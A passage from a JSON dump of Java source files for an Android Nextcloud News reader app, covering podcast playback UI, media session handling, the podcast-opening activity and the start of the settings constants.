FragmentPodcastBinding.inflate(inflater, container, false);\n\n        binding.flPlayPausePodcastWrapper.setOnClickListener((v) -> playPause());\n        binding.btnPlayPausePodcastSlider.setOnClickListener((v) -> playPauseSlider());\n        binding.btnNextPodcastSlider.setOnClickListener((v) -> windForward());\n        binding.btnPreviousPodcastSlider.setOnClickListener((v) -> windBack());\n        binding.btnPodcastSpeed.setOnClickListener((v) -> openSpeedMenu());\n\n        binding.btnExitPodcast.setOnClickListener((v) -> eventBus.post(new ExitPlayback()));\n\n        //View view = inflater.inflate(R.layout.fragment_podcast, container, false);\n\n        if(getActivity() instanceof PodcastFragmentActivity) {\n            sliding_layout = ((PodcastFragmentActivity) getActivity()).getSlidingLayout();\n        }\n\n        if(sliding_layout != null) {\n            sliding_layout.setSlideableView(binding.rlPodcast);\n            sliding_layout.setDragView(binding.llPodcastHeader);\n            //sliding_layout.setEnableDragViewTouchEvents(true);\n\n            sliding_layout.addPanelSlideListener(onPanelSlideListener);\n        }\n\n        PodcastFeedArrayAdapter mArrayAdapter = new PodcastFeedArrayAdapter(getActivity(), new PodcastFeedItem[0]);\n\n        if(mArrayAdapter.getCount() > 0) {\n            binding.tvNoPodcastsAvailable.setVisibility(View.GONE);\n        }\n\n        binding.podcastTitleGrid.setVisibility(View.GONE);\n        binding.podcastFeedList.setVisibility(View.VISIBLE);\n\n        binding.sbProgress.setOnSeekBarChangeListener(onSeekBarChangeListener);\n\n        return binding.getRoot();\n    }\n\n\n    boolean blockSeekbarUpdate = false;\n    private final SeekBar.OnSeekBarChangeListener onSeekBarChangeListener = new SeekBar.OnSeekBarChangeListener() {\n        @Override\n        public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n            /*\n            if(fromUser) {\n                Log.v(TAG, \"onProgressChanged: \" + progress + \"%\");\n                before = progress;\n            }\n            */\n        }\n\n        @Override\n        public void onStartTrackingTouch(SeekBar seekBar) {\n            Log.v(TAG, \"onStartTrackingTouch\");\n            blockSeekbarUpdate = true;\n        }\n\n        @Override\n        public void onStopTrackingTouch(final SeekBar seekBar) {\n            int after = seekBar.getProgress();\n            long ms = Math.round((after / 100d) * maxPositionInMillis);\n            Log.v(TAG, \"onStopTrackingTouch - after (%): \" + after + \" - ms: \" + ms);\n\n            eventBus.post(new SeekPodcast(ms));\n            blockSeekbarUpdate = false;\n        }\n    };\n\n    private void showPlaybackSpeedPicker() {\n        final NumberPicker numberPicker = new NumberPicker(getContext());\n        numberPicker.setDescendantFocusability(NumberPicker.FOCUS_BLOCK_DESCENDANTS);\n        numberPicker.setMinValue(0);\n        numberPicker.setMaxValue(PodcastPlaybackService.PLAYBACK_SPEEDS.length-1);\n        numberPicker.setFormatter(i -> String.valueOf(PodcastPlaybackService.PLAYBACK_SPEEDS[i]));\n\n        if(getActivity() instanceof PodcastFragmentActivity) {\n            getCurrentPlaybackSpeed(playbackSpeed -> {\n                int position = Arrays.binarySearch(PodcastPlaybackService.PLAYBACK_SPEEDS, playbackSpeed);\n                numberPicker.setValue(position);\n            });\n\n        } else {\n            numberPicker.setValue(3);\n        }\n        numberPicker.setWrapSelectorWheel(false);\n\n\n        AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(requireContext());\n\n        // set title\n        alertDialogBuilder.setTitle(getString(R.string.podcast_playback_speed_dialog_title));\n\n        // set dialog message\n        alertDialogBuilder\n                .setCancelable(false)\n                .setPositiveButton(getString(android.R.string.ok), (dialog, id) -> {\n                    float speed = PodcastPlaybackService.PLAYBACK_SPEEDS[numberPicker.getValue()];\n                    eventBus.post(new SpeedPodcast(speed));\n                    dialog.cancel();\n                })\n                .setNegativeButton(getString(android.R.string.cancel), (dialog, id) -> dialog.cancel())\n                .setView(numberPicker);\n\n        // create alert dialog\n        AlertDialog alertDialog = alertDialogBuilder.create();\n\n        // show it\n        alertDialog.show();\n\n\n        // Code below is required to fix bug in Android (default value is not shown) (https://stackoverflow.com/a/30859583)\n        try {\n            Field f = NumberPicker.class.getDeclaredField(\"mInputText\");\n            f.setAccessible(true);\n            EditText inputText = (EditText) f.get(numberPicker);\n            inputText.setFilters(new InputFilter[0]);\n        } catch (NoSuchFieldException e) {\n            e.printStackTrace();\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        }\n    }\n\n    private final MediaControllerCompat.Callback controllerCallback =\n            new MediaControllerCompat.Callback() {\n                @Override\n                public void onMetadataChanged(MediaMetadataCompat metadata) {\n                    Log.v(TAG, \"onMetadataChanged() called with: metadata = [\" + metadata + \"]\");\n                    displayMetadata(metadata);\n                }\n\n                @Override\n                public void onPlaybackStateChanged(PlaybackStateCompat stateCompat) {\n                    Log.v(TAG, \"onPlaybackStateChanged() called with: state = [\" + stateCompat + \"]\");\n                    displayPlaybackState(stateCompat);\n                }\n            };\n\n\n    private void displayMetadata(MediaMetadataCompat metadata) {\n        String title = metadata.getString(MediaMetadataCompat.METADATA_KEY_TITLE);\n        String author = metadata.getString(MediaMetadataCompat.METADATA_KEY_ARTIST);\n        if(author != null) {\n            title += \" - \" + author;\n        }\n        binding.tvTitle.setText(title);\n        binding.tvTitleSlider.setText(title);\n\n        String favIconUrl = metadata.getString(MediaMetadataCompat.METADATA_KEY_ALBUM_ART_URI);\n        if(favIconUrl != null) {\n            Log.d(TAG, \"currentPlayingPodcastReceived: \" + favIconUrl);\n\n            int placeholder = R.drawable.default_feed_icon_light;\n            Glide.with(this.mActivity)\n                    .load(favIconUrl)\n                    .diskCacheStrategy(DiskCacheStrategy.DATA)\n                    .placeholder(placeholder)\n                    .error(placeholder)\n                    .transform(new MultiTransformation<>(new CenterCrop(), new RoundedCorners(10)))\n                    .into(binding.imgFeedFavicon);\n        }\n\n        PlaybackService.VideoType mediaType = PlaybackService.VideoType.valueOf(metadata.getString(CURRENT_PODCAST_MEDIA_TYPE));\n\n        if(\"-1\".equals(metadata.getString(METADATA_KEY_MEDIA_ID))) {\n            // Collapse if no podcast is loaded\n            eventBus.post(new CollapsePodcastView());\n        } else {\n            // Expand if podcast is loaded\n            eventBus.post(new ExpandPodcastView());\n\n            if (mediaType == PlaybackService.VideoType.Video) {\n                Log.v(TAG, \"init regular video\");\n                tryOpeningPictureinPictureMode();\n            }\n        }\n\n        maxPositionInMillis = metadata.getLong(MediaMetadataCompat.METADATA_KEY_DURATION);\n    }\n\n    private void displayPlaybackState(PlaybackStateCompat stateCompat) {\n        boolean showPlayingButton = false;\n\n        int state = stateCompat.getState();\n        if(PlaybackStateCompat.STATE_PLAYING == state ||\n                PlaybackStateCompat.STATE_BUFFERING == state ||\n                PlaybackStateCompat.STATE_CONNECTING == state ||\n                PlaybackStateCompat.STATE_PAUSED == state) {\n            //Log.v(TAG, \"State is: \" + state);\n\n            if (PlaybackStateCompat.STATE_PAUSED != state) {\n                showPlayingButton = true;\n            }\n        }\n\n        int drawableId = showPlayingButton ? R.drawable.ic_action_pause_24 : R.drawable.ic_baseline_play_arrow_24;\n        int contentDescriptionId = showPlayingButton ? R.string.content_desc_pause : R.string.content_desc_play;\n\n        // If attached to context..\n        if(mActivity != null) {\n            binding.btnPlayPausePodcast.setImageResource(drawableId);\n            binding.btnPlayPausePodcast.setContentDescription(getString(contentDescriptionId));\n            binding.btnPlayPausePodcastSlider.setImageResource(drawableId);\n        }\n\n        currentPositionInMillis = stateCompat.getPosition();\n\n        updateProgressBar(state);\n    }\n\n    private void updateProgressBar(@PlaybackStateCompat.State int state) {\n        int hours = (int)(currentPositionInMillis / (1000*60*60));\n        int minutes = (int)(currentPositionInMillis % (1000*60*60)) / (1000*60);\n        int seconds = (int) ((currentPositionInMillis % (1000*60*60)) % (1000*60) / 1000);\n        minutes += hours * 60;\n        binding.tvFrom.setText(String.format(Locale.getDefault(), \"%02d:%02d\", minutes, seconds));\n        binding.tvFromSlider.setText(String.format(Locale.getDefault(), \"%02d:%02d\", minutes, seconds));\n\n        hours = (int)(maxPositionInMillis / (1000*60*60));\n        minutes = (int)(maxPositionInMillis % (1000*60*60)) / (1000*60);\n        seconds = (int) ((maxPositionInMillis % (1000*60*60)) % (1000*60) / 1000);\n        minutes += hours * 60;\n        binding.tvTo.setText(String.format(Locale.getDefault(), \"%02d:%02d\", minutes, seconds));\n        binding.tvToSlider.setText(String.format(Locale.getDefault(), \"%02d:%02d\", minutes, seconds));\n\n        if(state == PlaybackStateCompat.STATE_CONNECTING) {\n            binding.sbProgress.setVisibility(View.INVISIBLE);\n            binding.pbProgress2.setVisibility(View.VISIBLE);\n\n            binding.pbProgress.setIndeterminate(true);\n        } else {\n            double progress = ((double) currentPositionInMillis / (double) maxPositionInMillis) * 100d;\n\n            if(!blockSeekbarUpdate) {\n                binding.sbProgress.setVisibility(View.VISIBLE);\n                binding.pbProgress2.setVisibility(View.INVISIBLE);\n                binding.sbProgress.setProgress((int) progress);\n            }\n\n            binding.pbProgress.setIndeterminate(false);\n            binding.pbProgress.setProgress((int) progress);\n        }\n    }\n\n    // https://developer.android.com/guide/topics/media-apps/audio-app/building-a-mediabrowser-client#customize-mediabrowser-connectioncallback\n    private final MediaBrowserCompat.ConnectionCallback mConnectionCallbacks =\n            new MediaBrowserCompat.ConnectionCallback() {\n                @Override\n                public void onConnected() {\n                    Log.d(TAG, \"onConnected() called\");\n\n                    // Get the token for the MediaSession\n                    MediaSessionCompat.Token token = mMediaBrowser.getSessionToken();\n\n                    // Create a MediaControllerCompat\n                    MediaControllerCompat mediaController = new MediaControllerCompat(mActivity, token);\n\n                    // Save the controller\n                    MediaControllerCompat.setMediaController(mActivity, mediaController);\n\n                    // Register a Callback to stay in sync\n                    mediaController.registerCallback(controllerCallback);\n\n                    // Display the initial state\n                    MediaMetadataCompat metadata = mediaController.getMetadata();\n                    PlaybackStateCompat pbState = mediaController.getPlaybackState();\n                    displayMetadata(metadata);\n                    displayPlaybackState(pbState);\n\n                    // Finish building the UI\n                    //buildTransportControls();\n                }\n\n                @Override\n                public void onConnectionSuspended() {\n                    Log.d(TAG, \"onConnectionSuspended() called\");\n                    // The Service has crashed. Disable transport controls until it automatically reconnects\n                }\n\n                @Override\n                public void onConnectionFailed() {\n                    Log.e(TAG, \"onConnectionFailed() called\");\n                    // The Service has refused our connection\n                }\n            };\n\n\n\n    public void getCurrentPlaybackSpeed(final OnPlaybackSpeedCallback callback) {\n        MediaControllerCompat.getMediaController(mActivity)\n                .sendCommand(PLAYBACK_SPEED_FLOAT,\n                        null,\n                        new ResultReceiver(new Handler()) {\n                            @Override\n                            protected void onReceiveResult(int resultCode, Bundle resultData) {\n                                callback.currentPlaybackReceived(resultData.getFloat(PLAYBACK_SPEED_FLOAT));\n                            }\n                        });\n    }\n\n\n    /*\n    public boolean getCurrentPlayingPodcast(final OnCurrentPlayingPodcastCallback callback) {\n        if(mMediaBrowser != null && mMediaBrowser.isConnected()) {\n            MediaControllerCompat.getMediaController(mActivity)\n                    .sendCommand(CURRENT_PODCAST_ITEM_MEDIA_ITEM,\n                            null,\n                            new ResultReceiver(new Handler()) {\n                                @Override\n                                protected void onReceiveResult(int resultCode, Bundle resultData) {\n                                    callback.currentPlayingPodcastReceived((MediaItem) resultData.getSerializable(CURRENT_PODCAST_ITEM_MEDIA_ITEM));\n                                }\n                            });\n            return true;\n        } else {\n            return false;\n        }\n    }\n    */\n\n    private final MediaControllerCompat.Callback mediaControllerCallback = new MediaControllerCompat.Callback() {\n        @Override\n        public void onSessionReady() {\n            Log.d(TAG, \"onSessionReady() called\");\n            super.onSessionReady();\n        }\n\n        @Override\n        public void onSessionDestroyed() {\n            Log.d(TAG, \"onSessionDestroyed() called\");\n            super.onSessionDestroyed();\n        }\n\n        @Override\n        public void onSessionEvent(String event, Bundle extras) {\n            Log.d(TAG, \"onSessionEvent() called with: event = [\" + event + \"], extras = [\" + extras + \"]\");\n            super.onSessionEvent(event, extras);\n        }\n    };\n\n\n    public interface OnPlaybackSpeedCallback {\n        void currentPlaybackReceived(float playbackSpeed);\n    }\n\n    /*\n    public interface OnCurrentPlayingPodcastCallback {\n        void currentPlayingPodcastReceived(MediaItem mediaItem);\n    }*/\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/PodcastFragmentActivity.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static de.luhmer.owncloudnewsreader.Constants.MIN_NEXTCLOUD_FILES_APP_VERSION_CODE;\n\nimport android.content.ActivityNotFoundException;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.res.Resources;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.support.v4.media.session.MediaControllerCompat;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.util.Log;\nimport android.util.TypedValue;\nimport android.widget.Toast;\n\nimport androidx.annotation.Nullable;\nimport androidx.annotation.VisibleForTesting;\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.core.content.FileProvider;\n\nimport com.nextcloud.android.sso.FilesAppTypeRegistry;\nimport com.nextcloud.android.sso.helper.VersionCheckHelper;\nimport com.sothree.slidinguppanel.SlidingUpPanelLayout;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.io.File;\nimport java.util.function.Consumer;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.events.podcast.CollapsePodcastView;\nimport de.luhmer.owncloudnewsreader.events.podcast.ExitPlayback;\nimport de.luhmer.owncloudnewsreader.events.podcast.ExpandPodcastView;\nimport de.luhmer.owncloudnewsreader.events.podcast.PodcastCompletedEvent;\nimport de.luhmer.owncloudnewsreader.helper.PostDelayHandler;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.interfaces.IPlayPausePodcastClicked;\nimport de.luhmer.owncloudnewsreader.model.MediaItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\nimport de.luhmer.owncloudnewsreader.services.PodcastPlaybackService;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\nimport de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout;\nimport de.luhmer.owncloudnewsreader.widget.WidgetProvider;\n\npublic abstract class PodcastFragmentActivity extends AppCompatActivity implements IPlayPausePodcastClicked {\n\n    private static final String TAG = PodcastFragmentActivity.class.getCanonicalName();\n\n    @Inject protected SharedPreferences mPrefs;\n    @Inject protected ApiProvider mApi;\n    @Inject protected MemorizingTrustManager mMTM;\n    @Inject protected PostDelayHandler mPostDelayHandler;\n\n    private EventBus eventBus;\n    private PodcastFragment mPodcastFragment;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        //Log.v(TAG, \"onCreate() called with: savedInstanceState = [\" + savedInstanceState + \"]\");\n        ((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n        ThemeChooser.chooseTheme(this);\n        super.onCreate(savedInstanceState);\n        ThemeChooser.afterOnCreate(this);\n\n        //if (mApi.getAPI() instanceof Proxy) { // doesn't work.. retrofit is also a \"proxy\"\n        boolean useSSO = mPrefs.getBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, false);\n        if(useSSO) {\n            var type = FilesAppTypeRegistry.getInstance().findByAccountType(\"nextcloud\"); // prod\n            VersionCheckHelper.verifyMinVersion(this, MIN_NEXTCLOUD_FILES_APP_VERSION_CODE, type);\n        }\n\n        mPostDelayHandler.stopRunningPostDelayHandler();\n    }\n\n    @Override\n    protected void onPostCreate(Bundle savedInstanceState) {\n        //Log.v(TAG, \"onPostCreate() called with: savedInstanceState = [\" + savedInstanceState + \"]\");\n        super.onPostCreate(savedInstanceState);\n\n        eventBus = EventBus.getDefault();\n\n        updatePodcastView();\n    }\n\n    @Override\n    protected void onStart() {\n        super.onStart();\n\n        mMTM.bindDisplayActivity(this);\n    }\n\n    @Override\n    protected void onStop() {\n        mMTM.unbindDisplayActivity(this);\n\n        super.onStop();\n    }\n\n\n    @Override\n    public void onUserLeaveHint() {\n        super.onUserLeaveHint();\n        mPostDelayHandler.delayOnExitTimer();\n    }\n\n    @Override\n    public void onWindowFocusChanged(boolean hasWindowFocus) {\n        if (hasWindowFocus) {\n            int currentOrientation = getResources().getConfiguration().orientation;\n            if (currentOrientation != lastOrientation) {\n                getPodcastSlidingUpPanelLayout().setPanelState(SlidingUpPanelLayout.PanelState.COLLAPSED);\n                lastOrientation = currentOrientation;\n            }\n        }\n\n        super.onWindowFocusChanged(hasWindowFocus);\n    }\n\n\n    int lastOrientation = -1;\n\n    @Override\n    protected void onResume() {\n        eventBus.register(this);\n\n        super.onResume();\n    }\n\n    @Override\n    protected void onPause() {\n        eventBus.unregister(this);\n\n        /*\n        isVideoViewVisible = false;\n        videoViewInitialized = false;\n\n        eventBus.post(new RegisterVideoOutput(null, null));\n\n        rlVideoPodcastSurfaceWrapper.setVisibility(View.GONE);\n        rlVideoPodcastSurfaceWrapper.removeAllViews();\n        */\n\n        WidgetProvider.UpdateWidget(this);\n\n        NextcloudNotificationManager.showUnreadRssItemsNotification(this, mPrefs, true);\n\n        super.onPause();\n    }\n\n\n    /*\n    public static boolean isMyServiceRunning(Class<?> serviceClass, Context context) {\n        ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n        for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {\n            if (serviceClass.getName().equals(service.service.getClassName())) {\n                return true;\n            }\n        }\n        return false;\n    }\n    */\n\n\n\n    /*\n    private void buildTransportControls() {\n        // Grab the view for the play/pause button\n\n        int pbState = MediaControllerCompat.getMediaController(PodcastFragmentActivity.this).getPlaybackState().getState();\n        if (pbState == PlaybackStateCompat.STATE_PLAYING) {\n            MediaControllerCompat.getMediaController(PodcastFragmentActivity.this).getTransportControls().pause();\n        } else {\n            MediaControllerCompat.getMediaController(PodcastFragmentActivity.this).getTransportControls().play();\n        }\n        MediaControllerCompat mediaController = MediaControllerCompat.getMediaController(PodcastFragmentActivity.this);\n\n        // Display the initial state\n        MediaMetadataCompat metadata = mediaController.getMetadata();\n        PlaybackStateCompat pbState = mediaController.getPlaybackState();\n\n        // Register a Callback to stay in sync\n        mediaController.registerCallback(controllerCallback);\n    }\n    */\n\n    public PodcastSlidingUpPanelLayout getSlidingLayout() {\n        return getPodcastSlidingUpPanelLayout();\n    }\n\n    public boolean handlePodcastBackPressed() {\n        if(mPodcastFragment != null && getPodcastSlidingUpPanelLayout().getPanelState().equals(SlidingUpPanelLayout.PanelState.EXPANDED)) {\n            getPodcastSlidingUpPanelLayout().setPanelState(SlidingUpPanelLayout.PanelState.COLLAPSED);\n            return true;\n        }\n        return false;\n    }\n\n    protected void updatePodcastView() {\n        if(mPodcastFragment == null) {\n            mPodcastFragment = PodcastFragment.newInstance();\n        }\n        getSupportFragmentManager().beginTransaction()\n                .replace(R.id.podcast_frame, mPodcastFragment)\n                .commitAllowingStateLoss();\n        MediaControllerCompat mediaController = MediaControllerCompat.getMediaController(this);\n        boolean isNotInit = mediaController == null ||\n                mediaController.getPlaybackState() == null ||\n                mediaController.getPlaybackState().getState() == PlaybackStateCompat.STATE_NONE;\n        if (isNotInit) {\n            collapsePodcastView();\n        }\n    }\n\n\n    @Subscribe\n    public void onEvent(CollapsePodcastView event) {\n        Log.v(TAG, \"onEvent(CollapsePodcastView) called with: event = [\" + event + \"]\");\n        collapsePodcastView();\n    }\n\n    @Subscribe\n    public void onEvent(ExpandPodcastView event) {\n        Log.v(TAG, \"onEvent(ExpandPodcastView) called with: event = [\" + event + \"]\");\n        expandPodcastView();\n    }\n\n    @Subscribe\n    public void onEvent(ExitPlayback event) {\n        Log.v(TAG, \"onEvent(ExitPlayback) called with: event = [\" + event + \"]\");\n        collapsePodcastView();\n        getPodcastSlidingUpPanelLayout().setPanelState(SlidingUpPanelLayout.PanelState.COLLAPSED);\n    }\n\n    private void collapsePodcastView() {\n        getPodcastSlidingUpPanelLayout().setPanelHeight(0);\n    }\n\n    private void expandPodcastView() {\n        getPodcastSlidingUpPanelLayout().setPanelHeight((int) dipToPx(68));\n    }\n\n    @Subscribe\n    public void onEvent(PodcastCompletedEvent podcastCompletedEvent) {\n        collapsePodcastView();\n        getPodcastSlidingUpPanelLayout().setPanelState(SlidingUpPanelLayout.PanelState.COLLAPSED);\n        //currentlyPlaying = false;\n    }\n\n    public static int pxToDp(int px) {\n        return (int) (px / Resources.getSystem().getDisplayMetrics().density);\n    }\n\n    private float dipToPx(@SuppressWarnings(\"SameParameterValue\") float dip) {\n        return TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dip, getResources().getDisplayMetrics());\n    }\n\n    @VisibleForTesting\n    public void openMediaItem(final MediaItem mediaItem) {\n        if (mPrefs.getBoolean(SettingsActivity.CB_EXTERNAL_PLAYER, false) && mediaItem instanceof PodcastItem) {\n            // PodcastItems can be audio or video\n            Uri uri = ((PodcastItem) mediaItem).offlineCached // in case it's locally cached (offline)\n                    ? FileProvider.getUriForFile(this, BuildConfig.APPLICATION_ID + \".provider\", new File(mediaItem.link))\n                    : Uri.parse(mediaItem.link);\n\n            Intent intent = new Intent(Intent.ACTION_VIEW);\n            intent.setDataAndType(uri, ((PodcastItem) mediaItem).mimeType);\n            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\n            startActivity(intent);\n        } else {\n            // in case the user wants to use the internal player or we have a TTS item (text to speech)\n            Intent intent = new Intent(this, PodcastPlaybackService.class);\n            intent.putExtra(PodcastPlaybackService.MEDIA_ITEM, mediaItem);\n            startService(intent);\n\n\n            // if(!mMediaBrowser.isConnected()) {\n            //    mMediaBrowser.connect();\n            // }\n            // bindService(intent, mConnection, Context.BIND_AUTO_CREATE);\n        }\n    }\n\n    @Override\n    public void openPodcast(final RssItem rssItem) {\n        final PodcastItem podcastItem = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(this, rssItem);\n\n        File file = new File(PodcastDownloadService.getUrlToPodcastFile(this, podcastItem.fingerprint, podcastItem.link, false));\n        if(file.exists()) {\n            podcastItem.link = file.getAbsolutePath();\n            openMediaItem(podcastItem);\n        } else if(!podcastItem.offlineCached) {\n            AlertDialog.Builder alertDialog = new AlertDialog.Builder(this)\n                    .setNegativeButton(\"Abort\", null)\n                    .setTitle(\"Podcast\");\n\n            if(\"youtube\".equals(podcastItem.mimeType)) {\n                alertDialog.setPositiveButton(\"Open Youtube\", (dialogInterface, i) -> openYoutube(podcastItem));\n            } else {\n                alertDialog.setNeutralButton(\"Download\", (dialogInterface, i) -> {\n                    PodcastDownloadService.startPodcastDownload(PodcastFragmentActivity.this, podcastItem);\n                    Toast.makeText(PodcastFragmentActivity.this, \"Starting download of podcast. Please wait..\", Toast.LENGTH_SHORT).show();\n                });\n                alertDialog.setPositiveButton(\"Stream\", (dialogInterface, i) -> openMediaItem(podcastItem));\n                alertDialog.setMessage(\"Choose if you want to download or stream the selected podcast\");\n            }\n\n            alertDialog.show();\n        }\n    }\n\n\n    public void removePodcastMedia(final RssItem rssItem, final Consumer<Boolean> callback) {\n        final PodcastItem podcastItem = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(this, rssItem);\n        File file = new File(PodcastDownloadService.getUrlToPodcastFile(this, podcastItem.fingerprint, podcastItem.link, false));\n\n        if (!file.exists()) {\n            callback.accept(true);\n        }\n\n        AlertDialog.Builder alertDialog = new AlertDialog.Builder(this)\n                .setNegativeButton(getString(R.string.dialog_podcast_remove_confirm), (dialogInterface, i) -> {\n                    boolean success = file.delete() && file.getParentFile().delete(); // remove audio file and parent folder\n                    if (!success) {\n                        Toast.makeText(PodcastFragmentActivity.this, getString(R.string.dialog_podcast_status_failed, podcastItem.title), Toast.LENGTH_SHORT).show();\n                    } else {\n                        Toast.makeText(PodcastFragmentActivity.this, getString(R.string.dialog_podcast_status_success, podcastItem.title), Toast.LENGTH_SHORT).show();\n                    }\n                    callback.accept(success);\n                })\n                .setNeutralButton(getString(android.R.string.cancel), (dialogInterface, i) -> {\n                    callback.accept(false);\n                })\n                .setTitle(getString(R.string.dialog_podcast_remove_title))\n                .setMessage(getString(R.string.dialog_podcast_remove_body, podcastItem.title));\n\n        alertDialog.show();\n    }\n\n\n    @Override\n    public void pausePodcast() {\n        MediaControllerCompat.getMediaController(PodcastFragmentActivity.this).getTransportControls().pause();\n    }\n\n\n    private void openYoutube(PodcastItem podcastItem) {\n        Log.e(TAG, podcastItem.link);\n        String youtubeVideoID = getVideoIdFromYoutubeUrl(podcastItem.link);\n        if(youtubeVideoID == null) {\n            Toast.makeText(this, \"Failed to extract youtube video id for url: \" + podcastItem.link + \". Please report this issue.\", Toast.LENGTH_LONG).show();\n            return;\n        }\n        Intent appIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"vnd.youtube:\" + youtubeVideoID));\n        Intent webIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"http://www.youtube.com/watch?v=\" + podcastItem.link));\n        try {\n            startActivity(appIntent);\n        } catch (ActivityNotFoundException ex) {\n            startActivity(webIntent);\n        }\n    }\n\n    public String getVideoIdFromYoutubeUrl(String url){\n        String videoId = null;\n        String regex = \"http(?:s)?:\\\\/\\\\/(?:m.)?(?:www\\\\.)?youtu(?:\\\\.be\\\\/|be\\\\.com\\\\/(?:watch\\\\?(?:feature=youtu.be\\\\&)?v=|v\\\\/|embed\\\\/|user\\\\/(?:[\\\\w#]+\\\\/)+))([^&#?\\\\n]+)\";\n        Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);\n        Matcher matcher = pattern.matcher(url);\n        if(matcher.find()){\n            videoId = matcher.group(1);\n        }\n        return videoId;\n    }\n\n    protected abstract PodcastSlidingUpPanelLayout getPodcastSlidingUpPanelLayout();\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/SettingsActivity.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.os.Bundle;\nimport android.preference.PreferenceActivity;\nimport android.view.MenuItem;\n\nimport androidx.appcompat.app.AppCompatActivity;\nimport androidx.appcompat.widget.Toolbar;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\n\n/**\n* A {@link PreferenceActivity} that presents a set of application settings. On\n* handset devices, settings are presented as a single list. On tablets,\n* settings are split by category, with category headers shown to the left of\n* the list of settings.\n* <p>\n* See <a href=\"http://developer.android.com/design/patterns/settings.html\">\n* Android Design: Settings</a> for design guidelines and the <a\n* href=\"http://developer.android.com/guide/topics/ui/settings.html\">Settings\n* API Guide</a> for more information on developing a Settings UI.\n*/\npublic class SettingsActivity extends AppCompatActivity {\n\n    private static final String TAG = SettingsActivity.class.getCanonicalName();\n\n    /**\n     * Determines whether to always show the simplified settings UI, where\n     * settings are presented in a single list. When false, settings are shown\n     * as a master/detail two-pane view on tablets. When true, a single pane is\n     * shown on tablets.\n     */\n    public static final String EDT_USERNAME_STRING = \"edt_username\";\n    public static final String EDT_PASSWORD_STRING = \"edt_password\";\n    public static final String EDT_OWNCLOUDROOTPATH_STRING = \"edt_owncloudRootPath\";\n    public static final String SW_USE_SINGLE_SIGN_ON = \"sw_use_single_sign_on\";\n    public static final String EDT_CLEAR_CACHE = \"edt_clearCache\";\n\n    //public static final String CB_ALLOWALLSSLCERTIFICATES_STRING = \"cb_AllowAllSSLCertificates\";\n    public static final String CB_SYNCONSTARTUP_STRING = \"cb_AutoSyncOnStart\";\n    public static final String CB_SHOWONLYUNREAD_STRING = \"cb_ShowOnlyUnread\";\n    public static final String CB_NAVIGATE_WITH_VOLUME_BUTTONS_STRING = \"cb_NavigateWithVolumeButtons\";\n\n    public static final String LV_CACHE_IMAGES_OFFLINE_STRING = \"lv_cacheImagesOffline\";\n\n    public static final String CB_MARK_AS_READ_WHILE_SCROLLING_STRING = \"cb_MarkAsReadWhileScrolling\";\n    public static final String CB_SYNC_WHEN_SCROLLED_TO_BOTTOM_STRING = \"cb_SyncWhenScrolledToBottom\";\n    public static final String CB_SHOW_FAST_ACTIONS = \"cb_ShowFastActions\";\n    public static final String CB_PREF_BACK_OPENS_DRAWER = \"cb_prefBackButtonOpensDrawer\";\n    public static final String CB_DISABLE_HOSTNAME_VERIFICATION_STRING = \"cb_DisableHostnameVerification\";\n    public static final String CB_SKIP_DETAILVIEW_AND_OPEN_BROWSER_DIRECTLY_STRING = \"cb_openInBrowserDirectly\";\n\n    //public static final String CB_ENABLE_PODCASTS_STRING = \"cb_enablePodcasts\";\n\n    public static final String PREF_SERVER_SETTINGS = \"pref_server_settings\";\n    public static final String PREF_SYNC_SETTINGS = 